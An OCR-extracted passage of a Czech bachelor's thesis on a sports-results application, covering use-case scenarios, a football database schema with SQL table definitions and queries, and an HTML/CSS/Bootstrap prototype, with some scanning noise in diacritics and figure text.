Zucastnéni aktéri

Super administrator

Predpoklad

Super administrator je ptihlaSen

Hlavni scénar

1. Super administrator provede editaci prav nebo dat

aplikace
2. Systém provede validaci vloZenych tdaji

3. Systém vyzve super administratora k potvrzeni

provedenych zmén.
4. Super administrator potvrdi provedené zmény

5. Systém ulozi provedené zmény do databéze.
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Vedlejsi scénare

2.1 Data nebo préva nebyla zaddna spravné. Scénar

pokracuje krokem 1 hlavniho scénate.

4.1 Super administrator zrusi provedené zmény, pii-

pad uziti zde konci.

Podminky pro dokoné¢eni

Super administrator provede uspé$nou editaci v systému.

4.3.18 Scénar UC18: Schvaleni super administratorem

Super administrator bude schvalovat editace provedené¢ administratorem, bude tak

dohliZet, aby nedoslo ke zneuZiti pravomoci zaméstnanct.

Tabulka 19 - Scénar UC18: Schvaleni super administratorem

Jméno scénare

Scénatr UC18: Schvaleni super administratorem

Zucastnéni aktéri

Super administrator, administrator

Predpoklad

Administrator provede editaci

Hlavni scénar

1. Systém odesle editaci ke schvaleni administrato-

rovi
2. Super administrator schvali editaci administratora.

3. Systém promitne zménu dat ihned do systému

Vedlejsi scénare

3.1 Super administrator zamitne editaci administra-

tora, piipad uziti zde konci.

Podminky pro dokoné¢eni

Super administrator schvali editaci administratorem v

systému.
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4.3.19 Scénar UC19: Editace administratora

Administrator bude moci upravovat data v systému, kazda jeho editace bude odeslana

super administratorovi, ktery jeho editaci musi schvalit.

Tabulka 20 - Scénaf UC19: Editace administratora

Jméno scénare

Scénat UC19: Editace administratora

Zucastnéni aktéri

Administrator

Hlavni scénar

1. Administrator provede editaci zdznamu v databazi

2. Systém provede validaci vloZenych dat adminis-

tratorem.

3. Systém odesle zménu na schvaleni jeho pfislus-

nému super administratorovi

Vedlejsi scénare

2.1 Data byla Spatn¢ vlozena — systém vypiSe chybo-
vou hlasku s napovédou, jaké udaje byly Spatné za-
dany. Ptipad uziti pokracuje krokem 1 hlavniho scé-

nare.

Podminky pro dokonceni

Administrator provede editaci zdznamu, kterd se odesle

ke schvaleni.

4.3.20 Scénar UC20: Zalohovani systému

Cela aplikace se bude po urcitém Case zalohovat, aby tak nedoslo ke ztrat¢ dat a bylo

zajisténo rychlé obnoveni v ptipadé vypadku.

Tabulka 21 - Scénatr UC20: Zalohovani systému

Jméno scénare

Scénat UC20: Zalohovani systému

Zucastnéni aktéri

.

Cas

Hlavni scénar

1. Cas poukézZe systém na zalohovéni
2. Systém provede zalohu

3. Systém usp&$né zpracuje zalohu

Vedlejsi scénare

3.1 Systém netspés$né zpracuje zalohu, dojde ke kon-

taktovani super administratora.
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Podminky pro dokonéeni Zalohovani systému bude provedeno za urcity cCas.

4.3.21 Scénar UC21: UloZeni zalohy
Zaloha celého systému se bude ukladat na cloudovy server mimo lokalitu aplikace.

Tabulka 22 - Scénatr UC21: Ulozeni zalohy

Jméno scénare Scénat UC21: Ulozeni zalohy

Zxicastnéni aktéri Cas

Predpoklad Probéhne scénat UC20: Zalohovani systému

Hlavni scénar 1. Systém pftipravi zalohu k odeslani na vzdaleny ser-
ver.

2. Systém zjisti velikost volného ulozisté na cloudovém

serveru.
3. Systém odesle zalohu na server.

4. Zéloha ulozena na cloudovy server.

Vedlejsi scénare 2.1 Na cloudovém ulozisti neni volné misto, dojde ke
kontaktovani super administratora k navyseni ka-
pacity ulozisté. Ptipad uziti pokracuje krokem 1
hlavniho scénéfe.

3.1 zaloha nebyla neuspeésné odeslana — systém upo-

zorni super administratora o této skute¢nosti. Pfipad

uziti pokracuje krokem 1 hlavni scénare.

Podminky pro dokonceni Administrator provede editaci zdznamu, ktera se odesle

ke schvaleni.

4.4 Databaze

Pro navrZeni databaze za uziti relatniho schématu jsem se rozhodl vyuZzit modelovaci

nastroj ERD plus [31], ktery poskytuje relacni schéma. Tento néstroj se nachazi na internetu
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a jeho pouzivani neni zddnym zplisobem omezovano. Jako findlni systém pro tvorbu data-
baze byl zvolen Microsoft SQL Server, jenz uziva strukturovany dotazovaci jazyk pro préci

s daty v relacnich databazich.

4.4.1 Navrh databaze

Navrh databaze byl vytvoren za uziti relacniho schématu. U databaze pro evidenci
sportovnich vysledkl je potieba vyuzit i pomocnych tabulek, a to hlavné v pripad¢ vztahu
M: N - tedy kdyz je vice zdznamii spojeno s vice zdznamy vV jiné tabulce, také nazyvano
jako vztah mnoho ku mnoha. Pro ukazku byla vytvofena databaze pro fotbal. U kazdého
sportu se totiz eviduji jiné statistiky, a tudiZ je nutnosti na kazdy sport zvIast’ modifikovat

databazi podle potieby. Ptiklad fotbalové databaze mizeme vidét na nasledujicim obrazku

¢.22.

_ uzivatel uzivatelovihraci
m‘# uzivatelovihraci ID
prijmeni uzvatelovitymy ;;\fifllj_lD(FK)(FK)
vek uzivatelovi ID =
email uzivatel_ID  (FK) hractym
prezdivka tym_ID_ (FK) hractym_ID
motio uzivatelovisporty ym_ID  (FK) sezona
role uzivatelovisporty 1D hrac_ID  (FK) sezona_ID
heslo kategorie ID  (FK) sezona_ID  (FK) —ka—
pravauzivatsle uzivatel_ID  (FK) trenertym
pravauzivatele ID trenertym_ID statistikatrenera
uzivatel_ID  (FK) ym_ID (k) statistikatrenera ID
prava_ID  (FK) trener ID (FK) pocet_wher
= pocet_proher
prava : pocet_remiz
prava_ID oy _g—::;f;:!o:‘z —itrener_ID  (FK)
nazev nazev_tymu = sezona_ID  (FK)
rok_zalozeni
narodnost_ID  (FK) treneri
trener 1D
jmeno
prijmeni
narodnost
statistikahrac narodnost_ID  (FK)
goly narodnost
asistence narodnost_ID
soutez Zlute_karty ’_’Inazev Zzeme
soutez ID cervene_karty =
nazev_souteze hrac_ID  (FK)
narodnost_ID  (FK) soutez_ID  (FK)
tabulka_souteze zapas_ID K i
tabulkasouteze D / lsezna D Ex) Srehiac | yhrac_D nrec
: golyhracu_lD F—
pozice zapas_ID  (FK) jmeno
soutez ID  (FK) J hrac ID (7K prijmeni
tym_ID  (FK) 7 zapasy = pohlavi
HHzapas_ID stadion vek
datum_zapasu stadion_ID vaha
navstevnost nazev_stadionu wska
goly_domaci rok_stavby “—narodnost_ID  (FK)
goly_hoste kapacita datum_narozeni
drzenimice_domaci narodnost_ID  (FK) pozice_ID  (FK)
drzenimice_hoste
—tymdomaci_ID  (FK) pozice
—itymhoste_ID  (FK) pozice ID
kategorie_ID  (FK) nazev_pozce
Lstadion_lD (FK)

soutez_|D

(FK)

Obrazek 22 — Navrh databaze
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4.4.2 Realizace databaze

Databaze byla realizovana v prostiedi databazového systému Microsoft SQL Serveru
2019. Obsah celé databaze je tak vytvoren prostiednictvim piikazl v programovacim jazy-
kem SQL.

Realizace databaze se fidi relaénim schématem, které 1ze vidét na obrazku ¢.22. Jednot-
livé datové typy byly uréeny podle obsahové potieby atributii. U kazdé tabulky bude
popsany zakladni popis a zobrazen cely SQL piikaz.

Tabulka Zapasy

Primarnim klicek tabulky Zapasy je zapas_ID, kde kazdy zapas ma sviij jednoznacny
identifikator.

create table Zapasy

(zapas_ID INT identity(1,1) primary key,
datum_zapasu date,

Navstevnost int not null,

goly domaci int,

goly hoste int,
drzenimice_domaci int not null,
drzenimice_hoste int not null,
tymdomaci_ID int not null,
tymhoste_ID int not null,
kategorie_ID int not null,
stadion_ID int not null,
soutez_ID int not null

)5
Tabulka Zapasy eviduje dulezité informace o kazdém zéapase. Sloupec datum_zapasu
je datového datetime, a to kviili uvedeni pfesného datumu a ¢asu zapasu. Ostatni jsou dato-
vého typu int(integer) — zde se jednd o Cislo. V néjaky sloupcich musi byt zajisténo, aby se

jeho hodnota nerovnala nule — to plati predevsim u cizich klici.

Tabulka Tymy

V tabulce tymy je primarnim klic¢em tym_ID. Sloupec nazev tymu je datového typu
varchar kvili tomu, Ze se zde bude vyskytovat textovy fetézec — ndzev tymu. Ostatni sloupce
jsou datového typu int — ty se nesmi rovnat nule, jelikoz u kazdé existuje zaloZeni tymu a ke

kazdému tymu patii urcitd narodnost.

create table Tymy

(tym_ID INT identity(1,1) primary key,
nazev_tymu varchar(64),

rok_zalozeni int not null,
narodnost_ID int not null,

)s
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Tabulka Kategorie

Tabulka kategorie specifikuje, o jaky sport se jedna. Primarni klicem této tabulky je

kategorie ID. Kazdy sport tak bude mit v databazi sviij jednozna¢ny identifikator.

create table Kategorie
(kategorie_ID INT identity(1,1) primary key,
nazev_sportu varchar(64),

)5
Tabulka Stadion

Tabulka pro evidenci stadion méa jako primarni kli¢ stadion ID. Mezi dalsi sloupce
patii nazev_stadionu, rok stavby, kapacita a narodnost ID. Narodnost je kvuli tomu, aby
bylo pro uzivatele dostupné, do jaké zemée urcity stadion patii.

create table Stadion

(stadion_ID INT identity(1,1) primary key,
nazev_stadionu varchar(64),

rok_stavby int not null,

kapacita int not null,

narodnost_ID int not null,

)5

Tabulka Soutez

Tato tabulka Soutez eviduje nazev jednotlivé soutéze a narodnost, primarnim kli¢em
této tabulky je soutez ID. Ve sloupci narodnost ID se jedna o cizi kli¢, ktery se nesmi rovnat
nule.

create table Soutez

(soutez_ID INT identity(1,1) primary key,
nazev_souteze varchar(64),

narodnost_ID int not null,

)5
Vkladani dat

Pro vkladéni dat byl pouzit piikaz insert. Ptiklad takového ptikazu mizeme vidét nize.

INSERT INTO Tymy(nazev_tymu, rok_zalozeni, narodnost_ID)
VALUES ('SK Slavia Praha', '1892', '1'),
("AC Sparta Praha', '1893', '1');
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Zobrazeni zapasu s detailnimi informacemi

Pro zobrazeni detailli zapasti jsem pouzil select, kde bylo potfeba vybrat sloupce
z jednotlivych tabulek. Dale byly propojeny vSechny cizi klic¢e s jejich ptivodni tabulkou za
uziti inner joind — jelikoz zZadny sloupec neni prazdny. Jednotlivé datové typy bylo potieba
upravit podle potieby — naptiklad uziti funkce concat pro spojeni 2 sloupct do jednoho.

SELECT FORMAT (Zapasy.datum_zapasu, 'dd/MM/yyyy, hh:mm') as Datum, Tymy.na-
zev_tymu as Domaci, t.nazev_tymu as Hosté, CONCAT(Zapasy.goly domaci ,':', Za-
pasy.goly hoste) as Vysledek, CONCAT(Zapasy.drzenimice_domaci , '%',' : ', Za-
pasy.drzenimice_hoste, '%') as Drzeni_mice, Kategorie.nazev_sportu as Sport, Za-
pasy.Navstevnost as NAvstévnost, Stadion.nazev_stadionu as Stadion, Soutez.na-
zev_souteze as Soutéz

FROM Zapasy

INNER JOIN Tymy

ON Zapasy.tymdomaci_ID = Tymy.tym_ ID

INNER JOIN Tymy t

ON Zapasy.tymhoste ID = t.tym_ID

INNER JOIN Kategorie

ON Zapasy.kategorie_ID = Kategorie.kategorie_ID

INNER JOIN Stadion

ON Zapasy.stadion_ID = Stadion.stadion_ID

INNER JOIN Soutez

ON Zapasy.soutez_ID = Soutez.soutez_ID

Vysledek zobrazeni zapasu

Datum Domaci Hosté Vysledek  Drieni_mite Spot  Mawstéwnost Stadion  Souté
8/06/2020. 12:00 SK Slavia Praha  AC Sparta Praha  2:1 R 48% Fotbal 10528 Eden Fortuna liga

Obrazek 23 — Zobrazeni zapasu s detailnimi informacemi
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5 REALIZOVANI APLIKACE FORMOU HTML

Ptikladem takové aplikace byla zrealizovana jednoduchym prototypem, formou HTML
a CSS. Dulezitost se kladla na pfiblizeni standardt aplikaci, které se zabyvaji evidovanim
sportovnich vysledkii. Dale byl pouzit framework Bootstrap [32], tedy hotové navrhaiské
Sablony, které jsou zalozeny na HTML a CSS. Pro vyskakovaci okno pii piihlaseni byl po-

uzit také JavaScript.

Dale byly do stylti importovany potiebné fonty pro hezci vzhled, které byly vlozeny

pomoci odkazu ze stranky fonts.googleapis.com. [33]
Pro realizovani webu byla pouzita Bootstrap stranka, kde jsou jiz pted vytvorené rizné

komponenty, jako jsou naptiklad navigacni menu ¢i formulare.

5.1 Tvorba stranky pomoci HTML a CSS

Jako hlavni stranka aplikace je brana fotbalova stranka, ta se tak neptihlaSenému uzi-

vateli zobrazi jako vychozi.

Vsechna menu byla vytvorena za pomoci navbaru[32], kde byly pouzité styly z Boot-
strap knihovny, aby tak aplikace plnila potiebnou responzivitu. Do tohoto navbaru bylo pfi-

dano celé hlavni menu i v¢etné loga. Nazornou ukazku kédu miizeme vidét na obrazku ¢.24.

aria-contro
clas

ml" class="nav-link"> & Fotbal

s="nav-1ink">_/ Ledni hokej

Obrazek 24 — Ukazka kodu navigacniho menu
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Responzivita je dilezitd zejména pro pouzivani aplikace riznymi typy zafizeni.
Vsechny navbary tak obsahuji ,,zabalovaci funkci, kdy pii ur¢itém rozliSeni nedojde k de-
formaci celého menu, tuto skute¢nost mizeme vidét na obrazku ¢.25. Moznosti jednotlivych

menu, tak budou schovany pod tuto ikonku a uzivatel ma moznost zobrazeni vybrané ¢asti

menu.

Obrazek 25 - Responzivita
Hlavni obsahuje polozky pro vybrani jednotlivého sportu, ¢i registrace nebo piihla-
Seni. Nechybi zde ani moznost pro vyhledavani zapast, tymt, hraca ¢i trenérti. Nabidka
sekundarniho menu poskytuje funkce zejména pro filtrovani zapasu z hlediska Casu — to je
k dispozici na levé ¢asti obrazovky, tam si uzivatel miize zobrazit zapasy odehrané vcera
nebo z urcitého dne. Prava ¢ast sekundarniho menu nabizi filtrovani zapast podle zemé, kde
muze byt také vybréna urcita liga. Nabidka oblibené slouzi pouze pro prihlaSené uzivatele,

ktefi si tak své oblibené tymy ¢i hra¢e mtzou ulozit do svého profilu.

V desktopové verzi bude cela nabidka kazdého menu k dispozici. Zobrazeni aplikace

1ze vidét na nasledujicim obrazku ¢.26.

Prihlageni | | Registrace

Dnes  Aktualnéhrané  Zitra  Vcera  Vybrat den Zemé~ Liga® Oblibené

Produktivita hracd

ey e = 1. Nicolae Stanciu 10:13 1. Guélor Kanga 7

2. Ad: HioZek 76
2. AC Sparta Praha 6225 s9 | Ademiio

3 FC Viktoria Plzefi 52:31 52 e &
4. FK Jablonec 4823 47
5 FK Miada Boleslay 5532 as
6. 1.FC Slovécko 37:24 39
7. Ceské Budkjovice 2924 3

8. Slovan Liberec 2524 3

1. Tomaé Sivok 3

6.7.2020 SK Slavia Praha AC Sparta Praha 10

Obrazek 26 — Ukazka aplikace
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Jednotlivé informace jsou reprezentovany pomoci miizky, ptes ktery bylo vytvoieno
nékolik sekci pro lepsi prehlednost. Kazda ¢ast miizky mé danou velikost podle rozméru
obrazovky, aby byla splnéna podminka pro responzivitu. Ukazka vytvoreni miizky za uziti

CSS styli mizeme vidét na obrazku ¢.27.

.containe

display:

height: 1@evh;
grid-template-columns:
grid-template-rows: @.4

grid-template-are

ncenca

contentl”

Obrazek 27 — Ukéazka mtizky ve stylech
Jednotlivé Casti pak byly definovany za pomoci divl, ke kterym byl pfifazen identi-

fikator ze stylii. Nazornou ukazka je k dispozici na dal§im obrazku ¢.28.

Slavia Praha
">AC Sparta Praha
1:@

">FC Slovan Liberec
1:1

1.FC Slovacko
FK Mlada Bol

"»1.FC Slovacko
FK Mladid Boleslav

Obrazek 28 — Ptitazeni obsahu mtizky do divu
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Kazdy identifikator jednotlivého divu pak bylo jesté potieba definovat ve stylech,

aby tak bylo jasné, ze se jedna o soucast plochy mftizky.

ntentl{
grid-area:contentl;
background-color: Ergb(23

Obrazek 29 — Definovani jednotlivého divu miizky ve stylech

5.1.1 Profily tymui

Informace profilu tymu byly znovu vytvoieny do miizky. Profil tymu obsahuje se-

o

stavy, produktivitu hrac¢t, ¢i karty hracti. Podoba profilu tymu je zobrazena na obrazku ¢.30.

Dnes  Akwalnhrané  Zitra Véera  Vybratden Zem&~ Liga~  Oblibené

Sestava - SK Slavia Praha

Soutéze: ™

Sezona: *
Produktivita hracd Zluté karty
1. Ondfej Kolaf

N Hraé: Golyfasistence: | 1. Jan Bofil 3
2. David Hovorka

3. Viadimir Coufal Petar Musa 14/3
4 Jan Bofil T 305
5. David Zima

6. Lukas Provod
7. Nicolae Stanciu
8. Patrik Hellebrand
9. Stanislav Tecl

10. Petar Musa
11. Peter Olayinka

1. Viadimir Coufal 2

Posledni zapasy

6.7.2020 SK Slavia Praha AC Sparta Praha 10

27.2020 SK Slavia Praha FC Slovan Liberec 21

Obrazek 30 — Ukazka profilu tymu
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5.1.2 Profily hracu

Jednotlivé profily hract jsou podobné jako profily tyma vypisovany do vytvoiené
miizky, které obsahuje zékladni informace jednotlivych hracu. Prikladny hracsky profil je

ukdzan na obrazku ¢.31.

Ondrej Kolaf

Soutéze: ~
Sezéna ~

Informace o hraéi | Zluté karty
Klub: SK Slavia Praha || 2019/2020 1
2019/2020  SKSlavia zapasu/Cistych 27/11 Vik: 25
Praha kont
Narodnost CR
Misto narozeni: Liberec
Vyska: 193m
Datum narozeni: 17.Fijen 1994
Pozice: Brankar
2019/2020 (o]

Posledni zépasy hrace

6.7.2020 SK Slavia Praha AC Sparta Praha 1.0
2.7.2020 SK Slavia Praha FC Slovan Liberec 2=
24.6.2020 1.FC Slovacko SK Slavia Praha 0:4

Obrazek 31 — Ukazka profilu hrace

5.2 Pouziti JavaScriptu

JavaScript byl pouzit pii vytvareni vyskakovaciho okna pro piihlaSeni. JavaScript fun-
guje tak, ze je pii stisknu tlac¢itka ,,PfihlaSeni vyvolana udélost, kterd zobrazi formular pro

ptihlaseni.[34] Ukazka JavaScript kddu:

document.getElementById('button').addEventListener('click"’,
document.querySelector('.bg-modal').style.display = 'flex';

Hol

document.querySelector('.close').addEventListener('click"’,
document.querySelector('.bg-modal').style.display = 'none’;

3 E
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PtihlaSovaci okno musi také obsahovat volbu zapomenutého hesla, jelikoz je tato volba de-
finovana ve funkcionalité celé aplikace. Vyskakovaci okno pro pfihlaSeni miizeme vidét na

dal$im obrazku ¢.31.

|dawd@ne:o.czl

‘ Pfihlasit |

Zapomenute heslo

Obrazek 32 — Ukazka vyskakovaciho okna
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ZAVER

Cilem této bakalarské prace bylo navrhnout aplikaci pro evidenci sportovnich vy-
sledkt tak, aby bylo dosazeno chybé&jicich funkci v jiz existujicich feSenich. Aplikace tak
bude spliiovat funkce pro naro¢néjsi uzivatele, kde bude mozné sledovani jednotlivych hraci

nebo zobrazeni zapast podle vybraného trenéra.

V teoretické ¢asti byly nejdiive rozebrany jednotlivé existujici feseni a jejich funk-
cionality detailné¢ specifikovany. Na zacatek byly popsany aplikace pro evidenci sportovnich
vysledki pasobici na ¢eském trhu a poté jedna aplikace ze zahranic¢i. Jako druhy bod teore-
tické ¢asti byly rozebrany pouzité technologie, kde jsem popsal zdkladni informace o kazdé
této technologii. V poslednim bod¢ teoretické Casti byly popsany metody utoku na webovou
aplikaci, kde jsem ke kazdé metodé¢ uvedl piiklad, jak jednotlivy ttok miize vypadat a jak se

proti takovému Utoku branit.

Na zacatek praktické casti byla provedena analyza pozadavkl. V této Casti jsou
nejdiive detailn€ specifikovany funkéni a nefunkéni pozadavky, kde byl kazdy pozadavek
strucné popsan. Poté byl vytvofen model ptipadu uziti, kde je ke kazdému ptipadu uveden
scénaf. Prvni bod praktické casti byl zakonCen databézi. V poslednim bod¢ praktické casti

byl vytvoten prototyp aplikace pomoci technologii HTML, CSS a Javascriptu.
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SEZNAM POUZITYCH SYMBOLU A ZKRATEK

API

AJAX
BEM
CSFR
CSS

DOM

ERD
GDPR
HTML
HTTP
HTTPS
JSON
SQL
ucC
URL

XSS

Application Programming Interface — programové rozhrani systému urcené

pro integraci s jinymi systémy.

Asynchronous Javascript and XML

Block — Element — Modifier

Cross-Site Request Forgery

Cascading Style Sheets — kaskadové styly definujici vzhled webu.

Document Object Model — Objektové orientovand reprezentace XML nebo

HTML dokumentu.

Entity Relationship Diagram

General Data Protection Regulation — pravni rdmec ochrany osobnich udaji
HyperText Markup Language

HyperText Transfer Protocol

HyperText Transfer Protocol Secure

Javascript Object Notation

Structured Query Language

Use case

Uniform Resource Locator

Cross-Site Scripting
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PRILOHA P I: OBSAH CD
CD obsahujici vSechny zdrojové kody prace.
e Text prace ve formatu PDF

e Veskeré zdrojové soubory ve formatu ZIP



